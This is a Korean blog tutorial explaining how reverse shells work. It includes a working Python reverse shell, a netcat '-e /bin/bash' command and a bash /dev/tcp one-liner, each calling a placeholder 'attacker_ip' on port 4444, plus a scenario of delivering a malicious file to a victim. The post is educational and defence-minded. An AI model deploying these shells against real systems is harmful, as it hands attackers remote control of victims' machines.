리버스 쉘❓
리버스 쉘은 컴퓨터 네트워크 보안 분야에서 사용되는 용어로, 공격자가 공격 대상 시스템에 백도어를 설치하거나 제어할 수 있는 환경을 구성하는 기술이며 리버스 쉘을 이용하면 공격자는 공격 대상 시스템에서 특정 포트로 연결 가능한 쉘을 실행시켜 원격으로 시스템을 제어할 수 있다.
리버스 쉘 작동 원리
- 공격자의 시스템 설정: 공격자는 백도어를 설치하려는 시스템에 대한 IP 주소와 포트를 선택한다.
- 공격 대상 시스템 감염: 공격자가 설정한 IP 주소와 포트로 연결을 시도하는 코드가 포함된 악성 파일을 공격 대상 시스템에 전달한다.
- 공격자의 시스템 리스닝: 공격자는 설정한 포트로 들어오는 연결을 리스닝하면서, 공격 대상 시스템으로부터의 연결을 기다린다.
- 리버스 쉘 실행: 공격 대상 시스템이 공격자의 시스템으로 연결되면, 해당 연결을 통해 명령어를 주고받을 수 있는 쉘 세션을 생성한다. 이를 통해 공격자는 명령어를 입력하고 시스템을 제어할 수 있다.
리버스 쉘 구현 예시
import socket
import subprocess
def reverse_shell(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
command = s.recv(1024).decode()
if command.lower() == "exit":
s.close()
break
result = subprocess.getoutput(command)
s.send(result.encode())
except Exception as e:
print(f"Error: {e}")
reverse_shell("attacker_ip", 4444)
위의 예시 코드는 파이썬을 사용하여 리버스 쉘을 구현하는 방법을 보여주는데 이 코드는 공격자가 설정한 IP 주소와 포트로 연결을 시도하며, 연결된 공격 대상 시스템과 명령어를 주고받는 쉘 세션을 생성한다.
공격자 쉘과 피행자 쉘 (nc 명령어) 예시:
공격자 쉘
nc -l -p 4444
공격대상 쉘
nc attacker_ip 4444 -e /bin/bash
위의 예시는 nc (netcat) 명령어를 사용하여 공격자와 피행자 간의 리버스 쉘 연결을 설정하는 방법을 보여준다. 공격자는 포트 4444로 들어오는 연결을 리스닝하고, 피행자는 해당 포트로 공격자의 시스템에 연결하여 /bin/bash 쉘을 실행시킨다.
공격 시나리오:
- 공격자는 악성 파일을 생성하여 피행자 시스템에 전달
- 피행자가 악성 파일을 실행하면, 공격자 시스템으로 연결을 시도
- 공격자는 연결된 피행자 시스템을 리스닝하며, 명령어를 주고받을 수 있는 쉘 세션을 생성
- 공격자는 명령어를 입력하여 피행자 시스템을 원격으로 제어
리버스 쉘을 위한 Shell Script
#!/bin/bash
attacker_ip="attacker_ip"
attacker_port=4444
/bin/bash -c "/bin/bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1"
위의 Shell Script는 리버스 쉘을 생성하는 방법을 보여주며 공격자가 설정한 IP 주소와 포트로 연결을 시도하며, 쉘 세션을 생성하여 공격자의 시스템과 연결한다.
✍용어 정리:
- 리버스 쉘 (Reverse Shell): 공격자가 공격 대상 시스템에 특정 포트로 연결 가능한 쉘을 실행시켜 공격 대상 시스템을 원격으로 제어하는 기술.
- 리스닝 (Listening): 특정 포트로 연결을 대기하고 있는 상태를 의미함.
- 쉘 세션 (Shell Session): 네트워크를 통해 명령어를 주고받을 수 있는 쉘 환경.
- 방화벽 (Firewall): 불법적인 외부 접근을 차단하기 위해 네트워크 트래픽을 모니터링하고 제어하는 시스템.
리버스 쉘은 보안 전문가와 시스템 관리자가 시스템의 보안 취약점을 테스트하거나 분석할 때 사용되기도 한다고 하지만,
악의적인 목적으로 사용될 수도 있기 때문에 리버스 쉘과 같은 기술을 이해하고 방어하는 방법을 익히는 것이 중요하다.
이를 통해 시스템의 보안을 강화하고 해킹 시도로부터 시스템을 보다 더 안전하게 보호할 수 있을 것이다.

'시스템' 카테고리의 다른 글
[시스템] 커널? 알아볼게요 ( with. python ) (0) | 2023.08.18 |
---|---|
[시스템] 바인드 쉘 ? 알아볼게요 ( with. shell script ) (0) | 2023.08.18 |
[시스템] 정적 라이브러리 ? 동적 라이브러리 ? ( with . code ) (0) | 2023.08.17 |
[시스템] 꼭 알아야 하는 버퍼 오버 플로우 (0) | 2023.08.11 |
[시스템] 알기 쉬운 쉬프트 연산 (0) | 2023.08.07 |